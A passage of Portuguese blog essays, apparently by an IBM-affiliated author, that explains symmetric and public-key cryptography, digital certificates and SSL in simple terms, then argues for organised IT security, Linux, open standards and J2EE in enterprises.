Mensagem + ChaveSimétrica = MensagemCriptografada

Então MensagemCriptografada é enviada para Tatiana por uma rede aberta, que para lê-la terá que fazer o seguinte:

MensagemCriptografada + ChaveSimétrica = Mensagem

Uma analogia a essas equações seria como se ambas trocassem caixas que abrem e fecham com uma chave (a chave simétrica), que contém cartas secretas. Para a Tatiana abrir a caixa da Paula, terá que usar uma cópia da chave que a última usou para fecha-la.

O que representamos pela soma (+) é na verdade o algoritmo de cifragem (ou o mecanismo da fechadura) que criptografa e descriptografa a mensagem. Hoje em dia, esses algoritmos tem geralmente seu código fonte aberto, e isso ajudou-os a se tornarem mais seguros ainda, pois foram limpos e revisados ao longo dos anos por muitas pessoas ao redor do mundo.

A Chave Simétrica é uma seqüencia de bits e é ela que define o nível de segurança da comunicação. Ela deve ser sempre secreta. Chama-se simétrica porque todos os interessados em se comunicar devem ter uma cópia da mesma chave.

O DES com chave de 56 bits pode ser quebrado (MensagemCriptografada pode ser lida sem se conhecer a chave), e outros cifradores de chave simétrica (symmetric-key, ou private-key) mais modernos surgiram, como 3DES, AES, IDEA, etc.

O maior problema da criptografia de chave simétrica é como o remetente envia a chave secreta ao destinatário através de uma rede aberta (e teoricamente insegura). Se um intruso descobri-la, poderá ler todas as mensagens trocadas. Mais ainda, comprometerá a comunicação entre todo o conjunto de pessoas que confiavam nessa chave.

Criptografia de Chave Pública

Esses problemas foram eliminados em 1976 quando Whitfield Diffie e Martin Hellman trouxeram a tona os conceitos da criptografia de chave pública também conhecida por criptografia por par de chaves ou de chave assimétrica. Trata-se de uma revolução no campo das comunicações, tão radical quanto é o motor a combustão para o campo de transportes. Eles descobriram fórmulas matemáticas que permitem que cada usuário tenha um par de chaves de criptografia matematicamente relacionadas, uma privada e outra pública, sendo a última, como o próprio nome diz, publicamente disponível para qualquer pessoa. Essas fórmulas tem a impressionante característica de o que for criptografado com uma chave, só pode ser descriptografado com seu par. Então, no nosso exemplo, Paula agora enviaria uma mensagem para Tatiana da seguinte maneira:

Mensagem + ChavePública(Tatiana) = MensagemCriptografada

E Tatiana leria a mensagem assim:

MensagemCriptografada + ChavePrivada(Tatiana) = Mensagem

E Tatiana responderia para Paula da mesma forma:

Resposta + ChavePública(Paula) = RespostaCriptografada

Ou seja, uma mensagem criptografada com a chave pública de uma, só pode ser descriptografada com a chave privada da mesma, então a primeira pode ser livremente disponibilizada na Internet. E se a chave privada da Paula for roubada, somente as mensagens para a Paula estariam comprometidas.

O cifrador de chave pública tido como mais confiável é o RSA (iniciais de Rivest, Shamir e Adleman, seus criadores).

Criptografia assimétrica permitiu ainda outras inovações revolucionárias: se Tatiana quer publicar um documento e garantir sua autenticidade, pode fazer:

Documento + ChavePrivada(Tatiana) = DocumentoCriptografado

Se um leitor conseguir descriptografar este documento com a chave pública da Tatiana significa que ele foi criptografado com a chave privada da Tatiana, que somente ela tem a posse, o que significa que somente a Tatiana poderia te-lo publicado. Nasce assim a assinatura digital.

Infraestrutura para Chaves Públicas

O PGP (Pretty Good Privacy) foi o primeiro sistema de segurança que ofereceu criptografia de chave pública e assinatura digital de qualidade para as massas. Ficou tão popular que virou o padrão OpenPGP e posteriormente recebeu várias implementações livres. É largamente usado até hoje, principalmente em troca de e-mails. Sua popularização exigiu que houvesse uma forma para as pessoas encontrarem as chaves públicas de outras pessoas, que muitas vezes nem eram conhecidas pelas primeiras. No começo dos tempos do PGP, haviam sites onde as pessoas publicavam suas chaves públicas para as outras encontrarem. Talvez esta foi a forma mais rudimentar de PKI ou Public Key Infrastructure. PKI é um conjunto de ferramentas que uma comunidade usa justamente para a classificação, busca e integridade de suas chaves públicas. É um conjunto de idéias e não um padrão nem um produto. Conceitos de PKI estão hoje totalmente integrados em produtos de colaboração como o Lotus Notes da IBM, e seu uso é transparente ao usuário.

Certificados Digitais

Como Tatiana pode ter certeza que a chave pública de Paula que ela tem em mãos, e que está prestes a usar para enviar uma mensagem segura, é realmente de Paula? Outra pessoa, agindo de má fé, pode ter criado uma chave aleatória e publicado-a como sendo da Paula. Podemos colocar isso de outra forma: como posso ter certeza que estou acessando realmente o site de meu banco e não um site impostor que quer roubar minha senha, e meu dinheiro? Não gostaria de confiar em meus olhos só porque o site realmente se parece com o de meu banco. Haveria alguma forma mais confiável para garantir isso ?

Em 1996, a Netscape, fabricante do famoso browser, atacou este problema juntando o que havia de melhor em criptografia de chave pública, PKI (através do padrão X.509), mais parcerias com entidades confiáveis, e inventou o protocolo SSL (Secure Socket Layer ou TLS, seu sucessor), e foi graças a este passo que a Internet tomou um rumo de plataforma comercialmente viável para negócios, e mudou o mundo.

Para eu mandar minha senha com segurança ao site do banco, e poder movimentar minha conta, o site precisa primeiro me enviar sua chave pública, que vem assinada digitalmente por uma outra instituição de grande credibilidade. Em linhas gerais, os fabricantes de browsers (Mozilla, Microsoft, etc) instalam em seus produtos, na fábrica, os certificados digitais dessas entidades, que são usadas para verificar a autenticidade da chave pública e identidade do site do banco. Este, por sua vez, teve que passar por um processo burocrático junto a essa entidade certificadora, provando ser quem diz ser, para obter o certificado.

O SSL descomplicou essa malha de credibilidade, reduzindo o número de instituições em quem podemos confiar, distribuindo essa confiança por todos os sites que adquirirem um certificado SSL.

Na prática, funciona assim:

  1. Acesso pela primeira vez o site de uma empresa que parece ser idônea.
  2. Ele pede o número de meu cartão de crédito.
  3. Se meu browser não reclamou da segurança desse site, posso confiar nele porque…
  4. …o site usa um certificado emitido por uma entidade que eu confio.

Pode-se verificar os certificados que o fabricante do browser instalou, acessando suas configurações de segurança. Você vai encontrar lá entidades como VeriSign, Thawte, Equifax, GeoTrust, Visa, entre outros.

Segurança Real da Criptografia

Quanto maior for a chave de criptografia (número de bits) mais difícil é atacar um sistema criptográfico. Outros fatores influenciam na segurança, como a cultura em torno de manter bem guardadas as chaves privadas, qualidade dos algoritmos do cifrador, etc. Este último aspecto é muito importante, e tem se estabilizado num bom nível alto, porque esses algoritmos tem sido produzidos num modelo de software livre, o que permite várias boas mentes audita-los e corrigir falhas ou métodos matemáticos ruins.

A segurança real de qualquer esquema de criptografia não foi comprovada. Significa que, teoricamente, qualquer um que tiver muito recurso computacional disponível pode usa-lo para quebrar uma mensagem criptografada. Teoricamente. Porque estaríamos falando de centenas de computadores interconectados trabalhando para esse fim. Na prática, hoje isso é intangível, e basta usar bons produtos de criptografia (de preferência os baseados em software livre), com boas práticas de administração, e teremos criptografia realmente segura a nossa disposição.

Quer segurança? Organize-se!

Sobre Segurança em TI

Você sabia que segurança é, por anos consecutivos, apontado como um dos temas que mais gera interesse no mercado de TI? E é claro que fornecedores adoram abordá-lo na mídia, em eventos etc., porque é larga a fauna de produtos a oferecer. Funciona mais ou menos como a “indústria do medo” da área de segurança pessoal e carros blindados.

Se uma brecha de segurança é maliciosamente explorada numa empresa, o responsável será severamente punido pelo seu superior. E um fator psicológico que ameniza isso parece ser adquirir vários produtos de segurança para lançar-lhes a culpa, no caso de uma desgraça.

O fato é: quanto mais produtos de segurança uma empresa adquire, mais… terá produtos de segurança para gerenciar. Não necessariamente estará mais segura. Aliás, eleva-se a chance de ela estar insegura de fato devido ao aumento de complexidade em seu ambiente operacional.

Então o que é segurança? Uma definição que gosto é: segurança em TI se interessa por tudo que abrange a correta privacidade, disponibilidade e qualidade da informação. Essa definição tem derivações óbvias: “estamos inseguros se alguém de fora pode ver as informações internas de nossa empresa”; “estamos inseguros se nossos dados desaparecem”; e “estamos inseguros se alguém modifica maliciosamente nossas informações”.

O que muita gente ignora é que a informação pode ter sido exposta, desaparecida ou deteriorada por fatores internos como disco lotado, má configuração de algum software que nada tem a ver com segurança, ou até uma aplicação desenvolvida internamente, talvez por um programador inexperiente, que consumiu todo o poder de processamento de um servidor, deixando seu serviço — e por conseqüência a informação — indisponível.

Segurança não é firewall. Não são senhas. Nem serviço que se adquire como uma caixa preta. Nem criptografia. Tudo isso nada vale se estiver em mãos inexperientes ou inconseqüentes. Segurança corporativa em TI deve ser uma consciência perene em todos os envolvidos no fluxo da informação, ou seja, todos os funcionários de uma empresa. É um processo. E sendo assim, deve ser invocada desde a confecção de uma aplicação por um programador interno, até seu uso na mesa do usuário final. O primeiro mais que o último.

O primeiro passo é adotar uma metodologia, até uma criada internamente. O segundo é aplicá-la na área de desenvolvimento de aplicações, porque é na mesa do programador que a TI nasce, e se for concebida com segurança em mente, facilita no resto do ciclo de vida da aplicação (disponibilização e produção). Uma boa prática é não reinventar a roda toda vez que um programa novo precisa ser escrito. Use algum framework maduro de mercado, como Java Enterprise Edition, pois eles resolvem estes problemas em níveis que o programador corporativo não precisa chegar.

Costumo dizer também que segurança é sinônimo de organização. É possivel conceber segurança num data center desorganizado? E será que fizemos um bom trabalho se pararmos para organizar nosso data center sem pensar em segurança? Não há organização sem segurança, e vice-versa.

É comum também encontrar empresas em que este tema tem tamanha importância, sem hesitar em dizer que a níveis neuróticos às vezes, que fazer negócios passa a ser proibitivo, porque “é inseguro” fazer conexões aqui e ali. Reflexo popular disso é não permitir o uso das práticas ferramentas de mensagem instantânea ou sites de redes de amizades, como o orkut.com, porque claro, não queremos que um funcionário perca seu tempo falando com amigos pessoais. Mas muitas vezes ele está deixando de se relacionar com um cliente, parceiro, etc. Então é bom ou ruim permitir este tipo de abertura? A experiência tem mostrado que no balanço geral o resultado é positivo quando se permite a comunicação entre as pessoas.

O paradoxo é que empresas só fazem negócios quando seus funcionários se comunicam com o mundo de fora e o impulso natural da segurança é restringir isso. Portanto, nem tanto ao céu, nem tanto à terra, segurança em TI deve ser gerida de forma responsável, consciente, de mente aberta, e principalmente inovadora.

Apresentação IBM Linux

Aqui você vai encontrar minha apresentação sobre Linux e padrões abertos da IBM.

 

O conteúdo engloba:

  • Como medir maturidade de Software Livre
  • Diferença entre Linux e Software Livre
  • Padrões Abertos
  • De que forma Linux e Padrões Abertos ajudam empresas a reduzir custos
  • O caminho certo para começar a usar Linux numa empresa
  • Posicionando Linux e outros padrões para soluções de desktop
  • Arquiteturas de desktop, como PC Multiusuário, Workplace, etc
  • Arquiteturas não-convencionais com Linux: clusters, para-virtualização com Xen, SELinux, etc
  • Linux na estratégia On Demand da IBM
  • Linux no mercado, números, TCO
  • Comprometimento da IBM com Linux

Há muito conteúdo nesta apresentação, então costumo usar somente partes de acordo com o público.

Esta apresentação usa fontes que não estão por default numa instalação Linux. Se você vai usa-la em Linux, baixe e instale o pacote de fontes webcore-fonts.

Quando apresento, costumo mostrar também algumas animações flash e filmes para quebrar o gelo. Clique com o botão direito e salve o link:

Por que Linux é Melhor que Windows ?

A resposta quase automática e superficial para esta pergunta seria: Ora, porque Linux é livre e aberto, desenvolvido pela comunidade !

Linux tem demonstrado desenvoltura excepcional em ambientes corporativos, trazendo reais benefícios financeiros diretos, e também indiretos através de melhoria da operação de TI das empresas.

Deixando de lado o altruísmo de ser aberto e a moda do software livre, vamos analisar por que isso acontece.

 

Primeiro é importante lembrar que existe diferença entre software livre e Linux. O primeiro é qualquer tipo de software que tenha seu fonte aberto, e que tenha uma licença de uso que respeite certos padrões. Linux é um pequeno conjunto de alguns desses softwares que atingiram uma maturidade tal que podem ser usados até em ambientes críticos, com a tranqüilidade exigida pelo mundo corporativo. Linux não é sinônimo de software livre, nem tão pouco representa todos os softwares livres do mundo.

Linux é desenvolvido com base em padrões abertos. A evolução desse padrões são regidos por organizações independentes, como o W3C, OASIS, JCP etc, que visam o bem comum. Nenhuma entidade com interesses comerciais detém poder sobre eles. Os Padrões Abertos são um patrimônio da humanidade, e por isso podem ser usados livremente por qualquer pessoa ou organização.

Na prática isso se reverte em um consenso automático de como produtos e softwares falam entre sí e interoperam. Mais ainda, dá ao usuário a escolha de trocar facilmente produtos por outros que respeitam os mesmos padrões. Não que o usuário faça isso todo dia, nem todo ano. Mas o simples fato de ter escolha lhe dá um enorme poder de negociação com seus fornecedores. E isso faz os fornecedores reduzirem seus custos e melhorar a qualidade de seus produtos.

Concentrar-se numa camada de padrões tecnológicos abertos, promove ainda uma flexibilidade que permite fazer novas combinações criativas. Exemplo consagrado disso é Linux rodando em zSeries (mainframe), que permite aplicações baseadas em padrões abertos serem consolidadas numa plataforma em que não há desperdícios como tempo ocioso, mais fácil de ser gerenciada, e em que o custo total é menor. Isso é válido também para outras plataformas, pois a flexibilidade do Linux o faz presente em todo tipo de hardware: desde um simples relógio de pulso, até o zSeries.

Há também estudos sobre ganhos indiretos do uso de Linux e Padrões Abertos, mostrando que as empresas que os adotaram, começaram a descobrir uma nova gama de possibilidades que não estavam na prancheta do projeto inicial.

 

Há ainda a teoria de que Linux exige serviços mais caros. A mão de obra para Linux é conhecida como mais avançada, com mentes mais aguçadas, e que com pouco é capaz de fazer mais. Enquanto não se experimenta na prática essa força de profissionais, não é possível entendê-la na teoria. Sem dúvida existem também profissionais que deixam a desejar, como em qualquer especialidade, mas em geral são mentes que tem uma compreensão técnica das coisas que vai além do mero cotidiano de clicar botões na tela. Tudo é uma questão de o quanto se paga pelo tanto que se recebe.

O esforço da comunidade, aliado a intransigência de provedores de tecnologias proprietárias, fez surgir opções de softwares livres que interagem com softwares proprietários. Caso do OpenOffice.org, suite de escritório avançada que lê e grava documentos também nos formatos proprietários das outras suites.

Seja como for, o mercado de TI é grande o suficiente para conter todas as coisas. E o verdadeiro valor que produtos e tecnologias tem para seus usuários deve ser medido mais pelo benefício que lhes traz de fato, do que por relatórios de mercado ou teorias financeiras, que servem meramente para nortear. Dentro deste cenário, não podemos dizer que Linux é melhor. Mas é evidente que o mercado tem aceitado-o como uma ótima alternativa.

Uma coisa é fato: se Linux entra numa empresa, não sai mais.

Pense Aberto, Seja Livre

Linux vem ganhando cada vez mais espaço no mercado corporativo, mas ainda há dúvidas sobre até onde os sistemas abertos podem ser usados.

Ainda é comum encontrar grupos que defendem a idéia de Open Source para utilização sem qualquer restrição e que lutam por esta proposta com toda a força, mas nem sempre com um bom embasamento. Há ainda os CIOs que entendem que, deixando de lado tudo o que o movimento representa, Linux é somente um sistema operacional.

Começa a ficar claro que quanto mais específica é a funcionalidade de um software, mais restrito é o número de pessoas e empresas que trabalham nele. É a antítese do Open Source. Pense por um lado numa aplicação que atende somente a algum setor industrial. E por outro, algo de uso genérico como um sistema operacional, que no sentido mais primitivo do conceito, gerencia recursos de hardware, participa da rede, é seguro e confiavel (como Linux). Por ser de uso absolutamente essencial, este último possui sólida infra-estrutura de suporte. Já o primeiro, por ser de nicho, terá suporte muito bem pago, e protegerá seu capital intelectual com mecanismos legais. Antes, sistema operacional era uma necessidade de nicho, hoje é um commodity. Linux é um commodity.

Correlação entre Closed e Open Source

A segunda maior preocupação das empresas no campo de TI — a primeira sempre é redução de custos — é automatizar ao máximo sua cadeia de processos, ou seja, reunir seus processos de negócio como as pessoas os entendem e transformá-los em um “programa de computador”. E quando uma empresa faz isso de uma forma centralizada ela andou 80% do caminho em direção aos Web Services. Então, como executar esta operação de forma universal, libertando a empresa das amarras de um monopólio, com suporte profissional condizente com o negócio, com liberdade para a escolha da plataforma? Compra-se um ERP? Desenvolve-o internamente? A resposta a estas questões é: Não importa, se você estiver usando Padrões Abertos, que é o ponto de equilíbrio entre o closed e o Open Source. O resto se torna uma planilha de custos que definirá qual é a configuração mais barata.

Os grandes pilares do e-business

Pela primeira vez na história da computação, temos um conjunto de ferramentas abertas e universais que podem nos atender para qualquer necessidade: Linux como plataforma, XML e WebServices para comunicação e integração de aplicações, HTML e HTTP para interação com usuários, e o mais importante, Java Enterprise (ou J2EE), para o âmbito das aplicações de negócios. Os quatro são padrões abertos, sem dono, mas com suporte total de toda a indústria (com excessão de uma só empresa). Os quatro são um patrimonio da humanidade.

Arquitetura de um servidor de aplicações J2EE

J2EE, é um framework universal que provê uma série de serviços para aplicações de negócio: acesso a bancos de dados, ambiente transacional, segurança, separação da camada de apresentação, persistência de sessão, mensageria, componentização, serviços de nome, páginas web ativas (JSP), processamento XML, e por aí vai, sem parar de crescer. Isso permite que um processo de negócio seja convertido em software usando padrões, com a garantia de que rodará em qualquer lugar onde houver um servidor de aplicações J2EE, que tem vários fornecedores, Open Source ou comerciais. A implementação da IBM, por exemplo, é o WebSphere Application Server.

A especificação J2EE é desenvolvida por uma comunidade aberta que tem como membros a IBM, Sun, Oracle, SAP, Apache Software Foundation, Laboratórios Dolby, num total de mais de 600 entidades, que contribuem abertamente com o que cada um tem de melhor. Ela evolui seguindo o Java Community Process, que define o que entra ou não na especificação.

Usando sempre tecnologias abertas, uma empresa tem o conforto de aproveitar do mercado o que for mais importante para ela, levando em consideração nível de suporte, disponibilidade de skills etc. Foi isso o que a Internet mudou. Não tem nada a ver com a forma como compramos eletrônicos ou roupas, pois continuaremos indo às lojas. A Internet abriu o mundo permitindo a livre conversa entre as pessoas. Nem Linux nem padrões abertos existiriam sem a Internet. Bem vindo ao mundo livre, aberto e de todos.